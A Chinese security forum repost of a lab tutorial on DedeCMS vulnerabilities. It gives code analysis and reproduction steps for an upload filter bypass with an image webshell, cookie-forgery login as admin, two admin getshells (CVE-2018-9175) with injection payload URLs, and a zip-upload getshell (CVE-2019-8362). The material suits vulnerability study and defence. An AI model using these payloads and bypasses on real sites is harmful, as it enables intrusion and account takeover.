安全矩阵

 找回密码
 立即注册
搜索
查看: 2234|回复: 0

搭建dedecms漏洞靶场练习环境(下)

[复制链接]

855

主题

862

帖子

2940

积分

金牌会员

Rank: 6Rank: 6

积分
2940
发表于 2021-6-15 09:39:28 | 显示全部楼层 |阅读模式
原文链接:搭建dedecms漏洞靶场练习环境(下)
前台文件上传漏洞漏洞分析
漏洞在于用户发布文章上传图片处。处理文件在/include/dialog/select_images_post.php
而上传文件存在全局过滤/include/uploadsafe.inc.php
  1. #/include/uploadsafe.inc.php
  2. $cfg_not_allowall = "php|pl|cgi|asp|aspx|jsp|php3|shtm|shtml";
  3. if(!empty(${$_key.'_name'}) && (preg_match("#\.(".$cfg_not_allowall.")$#i",${$_key.'_name'}) || !preg_match("#\.#", ${$_key.'_name'})) )
  4. {
  5.     if(!defined('DEDEADMIN'))
  6.     {
  7.         exit('Not Admin Upload filetype not allow !');
  8.     }
  9. }
  10. $imtypes = array
  11.     (
  12.     "image/pjpeg", "image/jpeg", "image/gif", "image/png",
  13.     "image/xpng", "image/wbmp", "image/bmp"
  14. );
  15. if(in_array(strtolower(trim(${$_key.'_type'})), $imtypes))
  16. {
  17.     $image_dd = @getimagesize($_key);
  18.     if (!is_array($image_dd))
  19.     {
  20.         exit('Upload filetype not allow !');
  21.     }
  22. }
复制代码
可以看到名字中不得有上述字符,且限制了content-type。按道理说直接限制不得存在的字符,似乎没有问题了,可在发布文章文件上传的处理文件select_images_post.php中存在如下代码:
  1. $imgfile_name = trim(preg_replace("#[ \r\n\t\*\%\\\/\?><\|":]{1,}#", '', $imgfile_name));
  2. if(!preg_match("#\.(".$cfg_imgtype.")#i", $imgfile_name)) #$cfg_imgtype = 'jpg|gif|png';
  3. {
  4.     ShowMsg("你所上传的图片类型不在许可列表,请更改系统对扩展名限定的配置!", "-1");
  5.     exit();
  6. }
复制代码

再次过滤了图片名,并且再次判断如上三种文件类型是否存在其中。这么一次过滤,直接粗暴的将一些特殊字符替换为空,那么我们就可以通过特殊字符绕过上面的全局文件名不能包含php字符的限制,比如文件名为1.jpg.p*hp。

漏洞复现登录test1用户,点击内容中心

需要邮箱认证,这里因为在本地复现就直接给一个正常发文的权限即可

登入管理员后台修改为正常使用状态

再点击内容中心即可

然后准备一个一句话木马

先尝试下直接上传php改type

发现返回为filetyoe not allow,可能不行

这里尝试混淆文件名,也拦截了

这里我直接上传一个图片马,然后能够上传成功
copy 1.jpg/b + 2.php/a 3.jpg

访问一下也能够访问到

连接一下发现返回数据为空,这里排查了下问题是因为上传的后缀名为jpg所以不能够解析

使用图片马更改后缀名即可

蚁剑连接即可

用post传参把phpinfo()打出来

DedeCMS任意用户登录漏洞原理dedecms的会员模块的身份认证使用的是客户端session,在Cookie中写入用户ID并且附上ID__ckMd5,用做签名。主页存在逻辑漏洞,导致可以返回指定uid的ID的Md5散列值。原理上可以伪造任意用户登录。
代码分析在/member/index.php中会接收uid和action参数。uid为用户名,进入index.php后会验证Cookie中的用户ID与uid(用户名)并确定用户权限
  1. if($action == '')
  2.     {
  3.         include_once(DEDEINC."/channelunit.func.php");
  4.         $dpl = new DedeTemplate();
  5.         $tplfile = DEDEMEMBER."/space/{$_vars['spacestyle']}/index.htm";
  6.         //更新最近访客记录及站点统计记录
  7.         $vtime = time();
  8.         $last_vtime = GetCookie('last_vtime');
  9.         $last_vid = GetCookie('last_vid');
  10.         if(empty($last_vtime))
  11.         {
  12.             $last_vtime = 0;
  13.         }
  14.         if($vtime - $last_vtime > 3600 || !preg_match('#,'.$uid.',#i', ','.$last_vid.','))
  15.         {
  16.             if($last_vid!='')
  17.             {
  18.                 $last_vids = explode(',',$last_vid);
  19.                 $i = 0;
  20.                 $last_vid = $uid;
  21.                 foreach($last_vids as $lsid)
  22.                 {
  23.                     if($i>10)
  24.                     {
  25.                         break;
  26.                     }
  27.                     else if($lsid != $uid)
  28.                     {
  29.                         $i++;
  30.                         $last_vid .= ','.$last_vid;
  31.                     }
  32.                 }
  33.             }
  34.             else
  35.             {
  36.                 $last_vid = $uid;
  37.             }
  38.             PutCookie('last_vtime', $vtime, 3600*24, '/');
  39.             PutCookie('last_vid', $last_vid, 3600*24, '/');
复制代码

我们可以看到当uid存在值时就会进入我们现在的代码中,当cookie中的last_vid中不存在值为空时,就会将uid值赋予过去,$last_vid = $uid;,然后PutCookie。
那么这么说,我们控制了$uid就相当于可以返回任意值经过服务器处理的md5值。
而在接下来会验证用户是否登录。
现在我们来看看,dedecms会员认证系统是怎么实现的:/include/memberlogin.class.php
  1. //php5构造函数
  2.     function __construct($kptime = -1, $cache=FALSE)
  3.     {
  4.         global $dsql;
  5.         if($kptime==-1){
  6.             $this->M_KeepTime = 3600 * 24 * 7;
  7.         }else{
  8.             $this->M_KeepTime = $kptime;
  9.         }
  10.         $formcache = FALSE;
  11.         $this->M_ID = $this->GetNum(GetCookie("DedeUserID"));
  12.         $this->M_LoginTime = GetCookie("DedeLoginTime");
  13.         $this->fields = array();
  14.         $this->isAdmin = FALSE;
  15.         if(empty($this->M_ID))
  16.         {
  17.             $this->ResetUser();
  18.         }else{
  19.             $this->M_ID = intval($this->M_ID);
  20.             if ($cache)
  21.             {
  22.                 $this->fields = GetCache($this->memberCache, $this->M_ID);
  23.                 if( empty($this->fields) )
  24.                 {
  25.                     $this->fields = $dsql->GetOne("Select * From `#@__member` where mid='{$this->M_ID}' ");
  26.                 } else {
  27.                     $formcache = TRUE;
  28.                 }
  29.             } else {
  30.                 $this->fields = $dsql->GetOne("Select * From `#@__member` where mid='{$this->M_ID}' ");
  31.             }
  32.             if(is_array($this->fields)){
  33.                 #api{{
  34.                 if(defined('UC_API') && @include_once DEDEROOT.'/uc_client/client.php')
  35.                 {
  36.                     if($data = uc_get_user($this->fields['userid']))
  37.                     {
  38.                         if(uc_check_avatar($data[0]) && !strstr($this->fields['face'],UC_API))
  39.                         {
  40.                             $this->fields['face'] = UC_API.'/avatar.php?uid='.$data[0].'&size=middle';
  41.                             $dsql->ExecuteNoneQuery("UPDATE `#@__member` SET `face`='".$this->fields['face']."' WHERE `mid`='{$this->M_ID}'");
  42.                         }
  43.                     }
  44.                 }
  45.                 #/aip}}
  46.                 //间隔一小时更新一次用户登录时间
  47.                 if(time() - $this->M_LoginTime > 3600)
  48.                 {
  49.                     $dsql->ExecuteNoneQuery("update `#@__member` set logintime='".time()."',loginip='".GetIP()."' where mid='".$this->fields['mid']."';");
  50.                     PutCookie("DedeLoginTime",time(),$this->M_KeepTime);
  51.                 }
  52.                 $this->M_LoginID = $this->fields['userid'];
  53.                 $this->M_MbType = $this->fields['mtype'];
  54.                 $this->M_Money = $this->fields['money'];
  55.                 $this->M_UserName = FormatUsername($this->fields['uname']);
  56.                 $this->M_Scores = $this->fields['scores'];
  57.                 $this->M_Face = $this->fields['face'];
  58.                 $this->M_Rank = $this->fields['rank'];
  59.                 $this->M_Spacesta = $this->fields['spacesta'];
  60.                 $sql = "Select titles From #@__scores where integral<={$this->fields['scores']} order by integral desc";
  61.                 $scrow = $dsql->GetOne($sql);
  62.                 $this->fields['honor'] = $scrow['titles'];
  63.                 $this->M_Honor = $this->fields['honor'];
  64.                 if($this->fields['matt']==10) $this->isAdmin = TRUE;
  65.                 $this->M_UpTime = $this->fields['uptime'];
  66.                 $this->M_ExpTime = $this->fields['exptime'];
  67.                 $this->M_JoinTime = MyDate('Y-m-d',$this->fields['jointime']);
  68.                 if($this->M_Rank>10 && $this->M_UpTime>0){
  69.                     $this->M_HasDay = $this->Judgemember();
  70.                 }
  71.                 if( !$formcache )
  72.                 {
  73.                     SetCache($this->memberCache, $this->M_ID, $this->fields, 1800);
  74.                 }
  75.             }else{
  76.                 $this->ResetUser();
  77.             }
  78.         }
  79.     }
复制代码
$this->M_ID等于Cookie中的DedUserID,我们继续看看GetCookie函数
  1. if ( ! function_exists('GetCookie'))
  2. {
  3.     function GetCookie($key)
  4.     {
  5.         global $cfg_cookie_encode;
  6.         if( !isset($_COOKIE[$key]) || !isset($_COOKIE[$key.'__ckMd5']) )
  7.         {
  8.             return '';
  9.         }
  10.         else
  11.         {
  12.             if($_COOKIE[$key.'__ckMd5']!=substr(md5($cfg_cookie_encode.$_COOKIE[$key]),0,16))
  13.             {
  14.                 return '';
  15.             }
  16.             else
  17.             {
  18.                 return $_COOKIE[$key];
  19.             }
  20.         }
  21.     }
  22. }
复制代码

它不但读了cookie还验证了md5值。

这样,由于index.php中我们可以控制返回一个输入值和这个输入值经过服务器处理后的md5值。那么如果我们伪造DedUserID和它对应的MD5就行了。
最后一个问题,因为我们上面是通过用户名伪造ID的,用户名为字符串而ID为整数,但好在在构造用户类中将M_ID intval了一下$this->M_ID = intval($this->M_ID); 那么这么说,如果我们想伪造ID为1的用户的Md5,我们只要在上面设置uid(用户名)为'000001'即可。

可以看到已经获取到了,拿去当做DeDeUserID,可以看到,登陆了admin用户

Dedecms V5.7后台的两处getshell(CVE-2018-9175)漏洞成因后台写配置文件过滤不足导致写shell
代码分析第一个
在/dede/sys_verifies.php中的第152行处
  1. else if ($action == 'getfiles')
  2. {
  3.     if(!isset($refiles))
  4.     {
  5.         ShowMsg("你没进行任何操作!","sys_verifies.php");
  6.         exit();
  7.     }
  8.     $cacheFiles = DEDEDATA.'/modifytmp.inc';
  9.     $fp = fopen($cacheFiles, 'w');
  10.     fwrite($fp, '<'.'?php'."\r\n");
  11.     fwrite($fp, '$tmpdir = "'.$tmpdir.'";'."\r\n");
  12.     $dirs = array();
  13.     $i = -1;
  14.     $adminDir = preg_replace("#(.*)[\/\\\\]#", "", dirname(__FILE__));
  15.     foreach($refiles as $filename)
  16.     {
  17.         $filename = substr($filename,3,strlen($filename)-3);
  18.         if(preg_match("#^dede/#i", $filename))
  19.         {
  20.             $curdir = GetDirName( preg_replace("#^dede/#i", $adminDir.'/', $filename) );
  21.         } else {
  22.             $curdir = GetDirName($filename);
  23.         }
  24.         if( !isset($dirs[$curdir]) )
  25.         {
  26.             $dirs[$curdir] = TestIsFileDir($curdir);
  27.         }
  28.         $i++;
  29.         fwrite($fp, '$files['.$i.'] = "'.$filename.'";'."\r\n");
  30.     }
  31.     fwrite($fp, '$fileConut = '.$i.';'."\r\n");
  32.     fwrite($fp, '?'.'>');
  33.     fclose($fp);
复制代码

可以看到,这里会将$refiles数组中的内容写入配置文件modifytmp.inc中。
dedecms对于输入是全局过滤的,在/common.inc.php中注册并过滤了外部提交的变量
  1. function _RunMagicQuotes(&$svar)
  2. {
  3.     if(!get_magic_quotes_gpc())
  4.     {
  5.         if( is_array($svar) )
  6.         {
  7.             foreach($svar as $_k => $_v) $svar[$_k] = _RunMagicQuotes($_v);
  8.         }
  9.         else
  10.         {
  11.             if( strlen($svar)>0 && preg_match('#^(cfg_|GLOBALS|_GET|_POST|_COOKIE|_SESSION)#',$svar) )
  12.             {
  13.               exit('Request var not allow!');
  14.             }
  15.             $svar = addslashes($svar);
  16.         }
  17.     }
  18.     return $svar;
  19. }
  20. if (!defined('DEDEREQUEST'))
  21. {
  22.     //检查和注册外部提交的变量   (2011.8.10 修改登录时相关过滤)
  23.     function CheckRequest(&$val) {
  24.         if (is_array($val)) {
  25.             foreach ($val as $_k=>$_v) {
  26.                 if($_k == 'nvarname') continue;
  27.                 CheckRequest($_k);
  28.                 CheckRequest($val[$_k]);
  29.             }
  30.         } else
  31.         {
  32.             if( strlen($val)>0 && preg_match('#^(cfg_|GLOBALS|_GET|_POST|_COOKIE|_SESSION)#',$val)  )
  33.             {
  34.                 exit('Request var not allow!');
  35.             }
  36.         }
  37.     }
  38.     //var_dump($_REQUEST);exit;
  39.     CheckRequest($_REQUEST);
  40.     CheckRequest($_COOKIE);
  41.     foreach(Array('_GET','_POST','_COOKIE') as $_request)
  42.     {
  43.         foreach($_request as $_k => $_v)
  44.         {
  45.             if($_k == 'nvarname') ${$_k} = $_v;
  46.             else ${$_k} = _RunMagicQuotes($_v);
  47.         }
  48.     }
  49. }
复制代码

上面的$refiles就是注册的外部变量,可见已经addlashes了而我们还是需要绕过fwrite($fp, '$files['.$i.'] = "'.$filename.'";'."\r\n"); 实现注入shell,首先需要注入就必须闭合双引号,在这里有个诡异的操作
$filename = substr($filename,3,strlen($filename)-3);
去掉了输入的前三个字符,这样就为我们写shell制造了机会,当我们输入" 时经过addlashes会变成\",再去掉前三个字符就只剩下双引号实现闭合。
此时写入shell后只要再找一个包含modifytmp.inc文件的文件就好了,全局搜索一下可以发现就在本文件/dede/sys_verifies.php
第二个
同样是写配置文件,位于/dede/sys_cache_up.php
  1. else if($step == 2)
  2. {
  3.     include_once(DEDEINC."/enums.func.php");
  4.     WriteEnumsCache();
  5.     //WriteAreaCache(); 已过期
  6.     ShowMsg("成功更新枚举缓存,准备更新调用缓存...", "sys_cache_up.php?dopost=ok&step=3&uparc=$uparc");
  7.     exit();
  8. }
复制代码
跟进WriteEnumsCache()
  1. function WriteEnumsCache($egroup='')
  2. {
  3.     global $dsql;
  4.     $egroups = array();
  5.     if($egroup=='') {
  6.         $dsql->SetQuery("SELECT egroup FROM `#@__sys_enum` GROUP BY egroup ");
  7.     }
  8.     else {
  9.         $dsql->SetQuery("SELECT egroup FROM `#@__sys_enum` WHERE egroup='$egroup' GROUP BY egroup ");
  10.     }
  11.     $dsql->Execute('enum');
  12.     while($nrow = $dsql->GetArray('enum')) {
  13.         $egroups[] = $nrow['egroup'];
  14.     }
  15.     foreach($egroups as $egroup)
  16.     {
  17.         $cachefile = DEDEDATA.'/enums/'.$egroup.'.php';
  18.         $fp = fopen($cachefile,'w');
  19.         fwrite($fp,'<'."?php\r\nglobal \$em_{$egroup}s;\r\n\$em_{$egroup}s = array();\r\n");
  20.         $dsql->SetQuery("SELECT ename,evalue,issign FROM `#@__sys_enum` WHERE egroup='$egroup' ORDER BY disorder ASC, evalue ASC ");
  21.         $dsql->Execute('enum');
  22.         $issign = -1;
  23.         $tenum = false; //三级联动标识
  24.         while($nrow = $dsql->GetArray('enum'))
  25.         {
  26.             fwrite($fp,"\$em_{$egroup}s['{$nrow['evalue']}'] = '{$nrow['ename']}';\r\n");
  27.             if($issign==-1) $issign = $nrow['issign'];
  28.             if($nrow['issign']==2) $tenum = true;
  29.         }
  30.         if ($tenum) $dsql->ExecuteNoneQuery("UPDATE `#@__stepselect` SET `issign`=2 WHERE egroup='$egroup'; ");
  31.         fwrite($fp,'?'.'>');
  32.         fclose($fp);
  33.         if(empty($issign)) WriteEnumsJs($egroup);
  34.     }
  35.     return '成功更新所有枚举缓存!';
  36. }
复制代码

可以看到,直接从数据库中读取并写入php文件中,从数据库中取出后并没有经过过滤。

将shell写进数据库中
https://192.168.10.3/DedeCMS/upl ... amp;egroup=;phpinfo();//&islogin=1

漏洞复现因为包含是在同一个文件,所以直接输入
192.168.10.3/DedeCMS/Drunkmars/sys_verifies.php?action=getfiles&refiles[]=123&refiles[]=\%22;phpinfo();die();//

DedeCMS 后台文件上传getshell(CVE-2019-8362)漏洞成因上传zip文件解压缩对于文件名过滤不周,导致getshell
代码分析/dede/album_add.php 175行验证后缀
$fm->GetMatchFiles($tmpzipdir,"jpg|png|gif",$imgs);
进入函数:
  1. function GetMatchFiles($indir, $fileexp, &$filearr)
  2.     {
  3.         $dh = dir($indir);
  4.         while($filename = $dh->read())
  5.         {
  6.             $truefile = $indir.'/'.$filename;
  7.             if($filename == "." || $filename == "..")
  8.             {
  9.                 continue;
  10.             }
  11.             else if(is_dir($truefile))
  12.             {
  13.                 $this->GetMatchFiles($truefile, $fileexp, $filearr);
  14.             }
  15.             else if(preg_match("/\.(".$fileexp.")/i",$filename))
  16.             {
  17.                 $filearr[] = $truefile;
  18.             }
  19.         }
  20.         $dh->close();
  21.     }
复制代码

可以确定preg_match("/\.(".$fileexp.")/i",$filename)只是判断了文件名中是否存在.jpg、.png、.gif中的一个,只要构造1.jpg.php就可以绕过

2.5.3 漏洞复现
生成一个1.php并改名为1.jpg.php
<?php phpinfo();?>

将文件压缩为1.zip

找到文件式管理器下的soft目录

将压缩文件上传

访问album_add.php
http://192.168.10.3/DedeCMS/Drunkmars/album_add.php

选择从zip包中解压图片

发布后点击预览文档

点击上传的包

即可打出phpinfo()





回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-29 07:58 , Processed in 0.014106 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表